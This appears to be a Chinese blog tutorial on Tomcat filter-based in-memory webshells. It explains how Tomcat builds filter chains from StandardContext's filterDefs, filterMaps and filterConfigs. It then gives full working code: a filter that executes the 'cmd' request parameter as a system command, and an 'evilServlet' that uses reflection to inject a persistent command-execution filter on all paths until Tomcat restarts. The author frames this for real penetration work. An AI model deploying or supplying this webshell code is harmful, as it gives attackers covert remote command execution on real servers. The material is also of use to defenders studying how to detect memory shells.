本文最后更新于 419 天前,其中的信息可能已经有所发展或是发生改变。
在IDEA创建一个Servlet
项目,具体创建方法可参照如下链接:
https://blog.csdn.net/gaoqingliang521/article/details/108677301
自定义filter:
package filter;
import jakarta.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter init");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("start filter");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("filter destroy");
}
}
在web.xml中注册filter,具体项目路径如下
启动项目访问/demo
路径可以看见成功触发filter
javax.servlet.ServletContext
Servlet规范中规定了的一个ServletContext
接口,提供了Web应用所有Servlet
的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext
,它代表当前Web应用。并且它被所有客户端共享。
在ServletContext
中的方法有addFilter
、addServlet
、addListener
,即添加Filter
、Servlet
、Listener
。
获取到ServletContext
的方法为:
this.getServletContenx();
this.getServletConfig().getServletContext();
在实际进行获取到的是一个org.apache.catalina.core.ApplicationContextFacade
对象,该对象对ApplicationContext
的实例进行的一个封装。
org.apache.catalina.core.ApplicationContext
对应Tomcat
容器,为了满足Servlet
规范,必须包含一个ServletContext
接口的实现。Tomcat
的Context
容器中都会包含一个ApplicationContext
。
Catalina
主要包括Connector
和Container
,StandardContext
就是一个Container
,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context
表示了一个外部应用,它包含多个wrapper
,每个wrapper
表示一个servlet
定义。(Tomcat
默认的 Service
服务是 Catalina
)
动态调试一下filterChain.doFilter()
方法,debug启动项目,访问/demo触发断点。
调试看一下堆栈信息,看filterChain
生效的过程。
追踪查看filterChain
来源
查看org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
源代码
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
filterChain.setDispatcherWrapsSameObject(context.getDispatcherWrapsSameObject());
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
var10 = filterMaps;
var11 = filterMaps.length;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
这一部分代码主要要了解的是这三个的关系:filterConfig
、filterMaps
和 filterDefs
直接查看StandardContext
中的内容
filterConfigs
除了存放了filterDef
还保存了当时的Context
filterDefs
中存放着filter
的定义,比如名称跟对应的类
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.filterDemo</filter-class>
</filter>
filterMaps
对应的web.xml
中的配置filter-mapping
,代表了个个filter调用的顺序。
及对应web.xml
中的如下内容
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
都添加完之后,调用doFilter
,进入过滤阶段。
关于整个Filter的调用链 可以参考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
Filter调用链,可以引用宽字节安全总结的一张图来说明:
先直接在已经有的filter添加恶意代码常看执行效果
package filter;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter init");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("start filter");
HttpServletRequest request = (HttpServletRequest) servletRequest;
if (request.getParameter("cmd") != null){
String[] command = new String[]{request.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("filter destroy");
}
}
mingl
本质就是Filter
中接受参数然后执行,但在实际渗透的情况下怎么可能能直接改Filter
中的代码,那就需要动态的进行添加。
由前面Filter实例存储分析得知 StandardContext
Filter实例存放在filterConfigs
、filterDefs
、filterConfigs
这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext
成为了问题的关键。
综上所述,如果要实现filter型内存马要经过如下步骤:
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。 每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
import jakarta.servlet.*;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/evilServlet")
public class evilServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doPost(req, resp);
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true); // 禁止java语法检查
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
// 尝试从filterConfigs数组中获取filter,如果没有就创建一个
if (filterConfigs.get(FilterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructor = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructor.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor1 = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor1.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> constructor = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, o);
filterConfigs.put(FilterName, filterConfig);
resp.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
}